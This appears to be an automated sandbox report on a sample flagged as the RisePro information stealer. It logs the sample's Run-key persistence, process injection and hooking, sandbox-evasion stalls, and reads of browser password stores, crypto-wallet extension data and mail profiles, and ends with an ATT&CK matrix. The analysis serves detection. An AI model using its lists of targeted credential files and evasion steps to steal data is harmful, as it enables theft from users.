Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 2FF0005 value: E9 2B BA EC 73	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 76EBBA30 value: E9 DA 45 13 8C	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 3000008 value: E9 8B 8E F0 73	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 76F08E90 value: E9 80 71 0F 8C	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 3020005 value: E9 8B 4D A5 72	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 75A74D90 value: E9 7A B2 5A 8D	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 3030005 value: E9 EB EB A5 72	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 75A8EBF0 value: E9 1A 14 5A 8D	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 3040005 value: E9 8B 8A E1 72	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 75E58A90 value: E9 7A 75 1E 8D	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 3050005 value: E9 2B 02 E3 72	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6460 base: 75E80230 value: E9 DA FD 1C 8D	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\file.exe

Stalling execution: Execution stalls by calling Sleep

graph_0-57696

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B6E2A2 rdtsc

0_2_00B6E2A2

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 8154	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 839	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 9963	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-58419

Source: C:\Users\user\Desktop\file.exe TID: 1988	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4404	Thread sleep time: -1002000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1988	Thread sleep time: -8154000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4404	Thread sleep time: -2517000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1988	Thread sleep time: -142000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 2132	Thread sleep count: 9963 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 2132	Thread sleep time: -2241675s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 2132	Thread sleep count: 32 > 30	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009833B0 CreateDirectoryA,FindFirstFileA,	0_2_009833B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A3880 FindFirstFileA,GetLastError,CreateDirectoryA,	0_2_009A3880
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F1F8C FindFirstFileExW,GetLastError,	0_2_008F1F8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F1FAC FindFirstFileExW,	0_2_008F1FAC

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 30000

Jump to behavior

Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000002.4444174900.0000000001442000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&0000000
Source: file.exe, 00000000.00000002.4445827728.00000000064E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001442000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.4445827728.00000000064E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}:
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2013029941.0000000001410000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000002.4444174900.0000000001406000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sik&ven_vmware&prod_vidi&1656f219&0&000000#{07f-11d0-94f2-00a0c91e
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000002.4445435690.0000000006090000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_1985C77F
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000002.4444174900.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: file.exe, 00000000.00000003.2013029941.0000000001410000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000002.4445771652.0000000006425000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}A;MM;MSXE;L32WIN2.EXE;
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.3304673570.000000000610E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}!w
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.4444174900.00000000013FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:D
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 0oMfHkGWFh4pWeb Data.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B6E2A2 rdtsc

0_2_00B6E2A2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0098C630 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,LoadLibraryA,GetProcAddress,WriteProcessMemory,CreateRemoteThread,

0_2_0098C630

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00984130 mov eax, dword ptr fs:[00000030h]

0_2_00984130

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject threads in other processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0098C630 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,LoadLibraryA,GetProcAddress,WriteProcessMemory,CreateRemoteThread,

0_2_0098C630

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe "C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe"			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe "C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe"			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008F360D GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_008F360D

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06F0C990 SetThreadExecutionState,SetThreadExecutionState,GetVersion,GetCurrentThreadId,GetThreadDesktop,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GdiplusStartup,CreateThread,CloseHandle,

0_2_06F0C990

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.JcZ7W4aCxlpc4pOVLwL1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.dD08ulq4N33OmW5HQdwT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected RisePro Stealer

Source: Yara match	File source: 00000000.00000003.2113636991.00000000062C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4445827728.00000000064CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\UhOL8vG3NSxPpn1EjM9IIxV.zip, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\signons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR

Remote Access Functionality

Yara detected RisePro Stealer

Source: Yara match	File source: 00000000.00000003.2113636991.00000000062C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4445827728.00000000064CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\UhOL8vG3NSxPpn1EjM9IIxV.zip, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Create Account	111 Process Injection	2 Obfuscated Files or Information	1 Credential API Hooking	2 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Software Packing	Security Account Manager	25 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	121 Registry Run Keys / Startup Folder	121 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	111 Security Software Discovery	SSH	1 Credential API Hooking	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	11 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	29%	ReversingLabs
file.exe	23%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
